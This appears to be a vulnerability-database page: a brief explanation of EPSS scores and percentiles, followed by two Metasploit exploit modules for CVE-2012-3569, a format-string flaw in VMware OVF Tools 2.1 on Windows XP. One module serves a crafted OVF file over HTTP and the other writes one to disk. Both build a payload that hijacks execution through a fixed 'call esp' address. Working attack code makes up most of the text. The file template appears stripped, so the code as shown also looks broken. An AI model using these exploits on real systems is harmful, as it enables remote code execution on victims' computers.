The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info={}) super(update_info(info, 'Name' => 'VMWare OVF Tools Format String Vulnerability', 'Description' => %q{ This module exploits a format string vulnerability in VMWare OVF Tools 2.1 for Windows. The vulnerability occurs when printing error messages while parsing a a malformed OVF file. The module has been tested successfully with VMWare OVF Tools 2.1 on Windows XP SP3. }, 'License' => MSF_LICENSE, 'Author' => [ 'Jeremy Brown', # Vulnerability discovery 'juan vazquez' # Metasploit Module ], 'References' => [ [ 'CVE', '2012-3569' ], [ 'OSVDB', '87117' ], [ 'BID', '56468' ], [ 'URL', 'http://www.vmware.com/security/advisories/VMSA-2012-0015.html' ] ], 'Payload' => { 'DisableNops' => true, 'BadChars' => (0x00..0x08).to_a.pack("C*") + "\x0b\x0c\x0e\x0f" + (0x10..0x1f).to_a.pack("C*") + (0x80..0xff).to_a.pack("C*") + "\x22", 'StackAdjustment' => -3500, 'PrependEncoder' => "\x54\x59", # push esp # pop ecx 'EncoderOptions' => { 'BufferRegister' => 'ECX', 'BufferOffset' => 6 } }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets' => [ # vmware-ovftool-2.1.0-467744-win-i386.msi [ 'VMWare OVF Tools 2.1 on Windows XP SP3', { 'Ret' => 0x7852753d, # call esp # MSVCR90.dll 9.00.30729.4148 installed with VMware OVF Tools 2.1 'AddrPops' => 98, 'StackPadding' => 38081, 'Alignment' => 4096 } ], ], 'Privileged' => false, 'DisclosureDate' => 'Nov 08 2012', 'DefaultTarget' => 0)) end def ovf my_payload = rand_text_alpha(4) # ebp my_payload << [target.ret].pack("V") # eip # call esp my_payload << payload.encoded fs = rand_text_alpha(target['StackPadding']) # Padding until address aligned to 0x10000 (for example 0x120000) fs << rand_text_alpha(target['Alignment']) # Align to 0x11000 fs << my_payload # 65536 => 0x10000 # 27 => Error message prefix length fs << rand_text_alpha(65536 - 27 - target['StackPadding'] - target['Alignment'] - my_payload.length - (target['AddrPops'] * 8)) fs << "%08x" * target['AddrPops'] # Reach saved EBP fs << "%hn" # Overwrite LSW of saved EBP with 0x1000 ovf_file = <<-EOF Virtual disk information A virtual machine EOF ovf_file end def on_request_uri(cli, request) agent = request.headers['User-Agent'] uri = request.uri if agent !~ /VMware-client/ or agent !~ /ovfTool/ print_status("User agent #{agent} not recognized, answering Not Found...") send_not_found(cli) end if uri =~ /.mf$/ # The manifest file isn't required print_status("Sending Not Found for Manifest file request...") send_not_found(cli) end print_status("Sending OVF exploit...") send_response(cli, ovf, {'Content-Type'=>'text/xml'}) end end

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'VMWare OVF Tools Format String Vulnerability', 'Description' => %q{ This module exploits a format string vulnerability in VMWare OVF Tools 2.1 for Windows. The vulnerability occurs when printing error messages while parsing a a malformed OVF file. The module has been tested successfully with VMWare OVF Tools 2.1 on Windows XP SP3. }, 'License' => MSF_LICENSE, 'Author' => [ 'Jeremy Brown', # Vulnerability discovery 'juan vazquez' # Metasploit Module ], 'References' => [ [ 'CVE', '2012-3569' ], [ 'OSVDB', '87117' ], [ 'BID', '56468' ], [ 'URL', 'http://www.vmware.com/security/advisories/VMSA-2012-0015.html' ] ], 'Payload' => { 'DisableNops' => true, 'BadChars' => (0x00..0x08).to_a.pack("C*") + "\x0b\x0c\x0e\x0f" + (0x10..0x1f).to_a.pack("C*") + (0x80..0xff).to_a.pack("C*") + "\x22", 'StackAdjustment' => -3500, 'PrependEncoder' => "\x54\x59", # push esp # pop ecx 'EncoderOptions' => { 'BufferRegister' => 'ECX', 'BufferOffset' => 6 } }, 'Platform' => 'win', 'Targets' => [ # vmware-ovftool-2.1.0-467744-win-i386.msi [ 'VMWare OVF Tools 2.1 on Windows XP SP3', { 'Ret' => 0x7852753d, # call esp # MSVCR90.dll 9.00.30729.4148 installed with VMware OVF Tools 2.1 'AddrPops' => 98, 'StackPadding' => 38081, 'Alignment' => 4096 } ], ], 'Privileged' => false, 'DisclosureDate' => 'Nov 08 2012', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.ovf']), ], self.class) end def ovf my_payload = rand_text_alpha(4) # ebp my_payload << [target.ret].pack("V") # eip # call esp my_payload << payload.encoded fs = rand_text_alpha(target['StackPadding']) # Padding until address aligned to 0x10000 (for example 0x120000) fs << rand_text_alpha(target['Alignment']) # Align to 0x11000 fs << my_payload # 65536 => 0x10000 # 27 => Error message prefix length fs << rand_text_alpha(65536 - 27 - target['StackPadding'] - target['Alignment'] - my_payload.length - (target['AddrPops'] * 8)) fs << "%08x" * target['AddrPops'] # Reach saved EBP fs << "%hn" # Overwrite LSW of saved EBP with 0x1000 ovf_file = <<-EOF Virtual disk information A virtual machine EOF ovf_file end def exploit print_status("Creating '#{datastore['FILENAME']}'. This files should be opened with VMMWare OVF 2.1") file_create(ovf) end end